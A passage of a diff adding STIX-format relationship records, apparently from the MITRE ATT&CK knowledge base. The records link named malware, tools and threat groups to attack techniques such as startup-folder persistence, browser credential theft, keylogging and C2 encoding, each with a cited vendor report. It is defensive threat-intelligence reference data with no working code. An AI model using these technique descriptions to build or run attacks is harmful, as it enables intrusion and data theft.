"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can access a connected webcam and capture pictures.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c18f83e7-979e-4bd8-80bb-d0a4e8146a21", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "modified": "2019-04-24T17:52:48.033Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "relationship_type": "uses", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT3](https://attack.mitre.org/groups/G0022) places scripts in the startup folder for persistence.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cc705bf0-ba29-443e-9cd5-aef247505210", + "external_references": [ + { + "source_name": "FireEye Operation Double Tap", + "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html" + } + ], + "modified": "2019-04-29T18:01:20.632Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[UPPERCUT](https://attack.mitre.org/software/S0275) can download and upload files to and from the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a2ad2bea-4359-47a8-ae5f-f18beab07316", + "external_references": [ + { + "source_name": "FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[jRAT](https://attack.mitre.org/software/S0283) can download and execute files.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--730190b3-d372-4461-9bf4-94de4c078968", + "external_references": [ + { + "source_name": "jRAT Symantec Aug 2018", + "description": "Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques" + }, + { + "source_name": "Kaspersky Adwind Feb 2016", + "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf" + }, + { + "source_name": "Symantec Frutas Feb 2013", + "description": "Bingham, J. (2013, February 11). Cross-Platform Frutas RAT Builder and Back Door. Retrieved April 23, 2019.", + "url": "https://www.symantec.com/connect/blogs/cross-platform-frutas-rat-builder-and-back-door" + } + ], + "modified": "2019-06-24T17:20:24.396Z", + "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FTP](https://attack.mitre.org/software/S0095) operates over ports 21 and 20.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--05352dad-ecbb-477c-a05c-5eb3d67ae9ae", + "external_references": [ + { + "source_name": "Wikipedia FTP", + "description": "Wikipedia. (2016, June 15). File Transfer Protocol. Retrieved July 20, 2016.", + "url": "https://en.wikipedia.org/wiki/File_Transfer_Protocol" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--cf23bf4a-e003-4116-bbae-1ea6c558d565", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) has used rundll32.exe in a Registry value to establish persistence.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--12904c83-67ad-430f-96ae-20e9081c2b5d", + "external_references": [ + { + "source_name": "Bitdefender APT28 Dec 2015", + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "relationship_type": "uses", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MobileOrder](https://attack.mitre.org/software/S0079) has a command to download a file from the C2 server to the victim mobile device's SD card.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--56d858ef-2d62-4aa9-b050-699de9b048e9", + "external_references": [ + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) uses the API call ShellExecuteW for execution.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7af9715f-b85c-4fc5-8ef8-5884c8144178", + "external_references": [ + { + "source_name": "ASERT InnaputRAT April 2018", + "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.", + "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952", + "relationship_type": "uses", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[3PARA RAT](https://attack.mitre.org/software/S0066) will sleep until after a date/time value loaded from a .dat file has passed. This allows the RAT to remain dormant until a set date, which could allow a means to regain access if other parts of the actors' toolset are removed from a victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3f327394-55be-4dac-8e79-93c49be0426a", + "external_references": [ + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a", + "relationship_type": "uses", + "target_ref": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[jRAT](https://attack.mitre.org/software/S0283) has the capability to take screenshots of the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ea2f957a-b144-4f06-b3fe-891df62f9444", + "external_references": [ + { + "source_name": "jRAT Symantec Aug 2018", + "description": "Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques" + }, + { + "source_name": "Kaspersky Adwind Feb 2016", + "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf" + } + ], + "modified": "2019-06-24T17:20:24.486Z", + "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) checks the Registry key HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings for proxy configurations information.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3a217a5a-b6c4-47c5-822a-5b278385c811", + "external_references": [ + { + "source_name": "FireEye CARBANAK June 2017", + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POORAIM](https://attack.mitre.org/software/S0216) can perform screen capturing.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4e2f4bbd-ea3b-4996-bc2a-3d670d9f5cf5", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--53d47b09-09c2-4015-8d37-6633ecd53f79", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) uses a keylogger and steals clipboard contents from victims.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6d2d4146-bf9e-4b75-9a23-052c09e99eeb", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PLAINTEE](https://attack.mitre.org/software/S0254) collects general system enumeration data about the infected machine and checks the OS version.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--072af62a-85d5-4803-aa05-d7c6efa9ec2a", + "external_references": [ + { + "source_name": "Rancor Unit42 June 2018", + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TinyZBot](https://attack.mitre.org/software/S0004) contains functionality to collect information from the clipboard.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--35ca6c35-f1e9-49b7-a8c9-a67951c57ea0", + "external_references": [ + { + "source_name": "Cylance Cleaver", + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", + "relationship_type": "uses", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RARSTONE](https://attack.mitre.org/software/S0055) obtains installer properties from Uninstall Registry Key entries to obtain information about installed applications and how to uninstall certain applications.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--35ec37ba-44aa-49b1-9379-3f6070554c62", + "external_references": [ + { + "source_name": "Camba RARSTONE", + "description": "Camba, A. (2013, February 27). BKDR_RARSTONE: New RAT to Watch Out For. Retrieved January 8, 2016.", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/bkdr_rarstone-new-rat-to-watch-out-for/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--8c553311-0baa-4146-997a-f79acef3d831", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MirageFox](https://attack.mitre.org/software/S0280) can gather the username from the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cb68541e-3ca7-4e2d-892d-c30b50107b39", + "external_references": [ + { + "source_name": "APT15 Intezer June 2018", + "description": "Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018.", + "url": "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e3cedcfe-6515-4348-af65-7f2c4157bf0d", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) queries Registry values as part of its anti-sandbox checks.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--79cebb53-3154-4512-9343-2942b1f72ff5", + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "modified": "2019-07-14T21:44:44.336Z", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) was likely obfuscated using Invoke-Obfuscation.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7b5178ce-a9bc-405e-b062-22b4276fbf99", + "external_references": [ + { + "source_name": "Unit 42 QUADAGENT July 2018", + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + }, + { + "source_name": "GitHub Invoke-Obfuscation", + "description": "Bohannon, D.. (2017, March 13). Invoke-Obfuscation - PowerShell Obfuscator. Retrieved June 18, 2017.", + "url": "https://github.com/danielbohannon/Invoke-Obfuscation" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can record sound using input audio devices.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9fde631f-9e22-40fe-b6bb-071bd689c8f9", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "relationship_type": "uses", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ROKRAT](https://attack.mitre.org/software/S0240) steals credentials stored in Web browsers by querying the sqlite database and leveraging the Windows Vault mechanism.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--352953e9-c1ca-4d25-84b6-eb05a012b2e9", + "external_references": [ + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + } + ], + "modified": "2019-07-26T22:56:58.507Z", + "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) is capable of downloading a file from a specified URL.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f4902ad9-b1bb-41ce-a448-55e2d9437503", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Vasport](https://attack.mitre.org/software/S0207) creates a backdoor by making a connection using a HTTP POST.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--02642f69-af18-42ba-a07e-ea44d3a311ea", + "external_references": [ + { + "source_name": "Symantec Vasport May 2012", + "description": "Zhou, R. (2012, May 15). Backdoor.Vasport. Retrieved February 22, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-5938-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f4d8a2d6-c684-453a-8a14-cf4a94f755c5", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Data [SPACESHIP](https://attack.mitre.org/software/S0035) copies to the staging area is compressed with zlib. Bytes are rotated by four positions and XOR'ed with 0x23.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--23df6015-0167-481c-84aa-3d15d3e38a85", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--8b880b41-5139-4807-baa9-309690218719", + "relationship_type": "uses", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070)'s version of [Bandook](https://attack.mitre.org/software/S0234) communicates with their server over a TCP port using HTTP payloads Base64 encoded and suffixed with the string \u201c&&&\u201d.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--23c6c48b-f602-43f9-9c23-d4e46fba9194", + "external_references": [ + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "modified": "2019-07-16T15:35:21.031Z", + "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ZLib](https://attack.mitre.org/software/S0086) creates Registry keys to allow itself to run as various services.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3f02c07f-663f-4c54-b7e0-c2b2dbe82335", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware has used HTTP and IRC for C2.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2dd15583-34cd-4b49-a6ba-4bd647b7ff27", + "external_references": [ + { + "source_name": "Unit 42 Magic Hound Feb 2017", + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + } + ], + "modified": "2019-03-25T14:25:29.614Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:14:52.725Z", + "type": "relationship", + "id": "relationship--4ce0f95f-577c-4a02-a355-328cf376ceba", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-01-16T16:13:52.465Z", + "source_ref": "course-of-action--752db800-ea54-4e7a-b4c1-2a0292350ea7", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Daserf](https://attack.mitre.org/software/S0187) uses file and folder names related to legitimate programs in order to blend in, such as HP, Intel, Adobe, and perflogs.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d297b77f-9511-429a-b148-d7b8f0b5b502", + "external_references": [ + { + "source_name": "Symantec Tick Apr 2016", + "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", + "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some versions of [UPPERCUT](https://attack.mitre.org/software/S0275) have used the hard-coded string \u201cthis is the encrypt key\u201d for Blowfish encryption when communicating with a C2. Later versions have hard-coded keys uniquely for each C2 address.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--64eefbfb-5241-4325-919d-4739504644c2", + "external_references": [ + { + "source_name": "FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "modified": 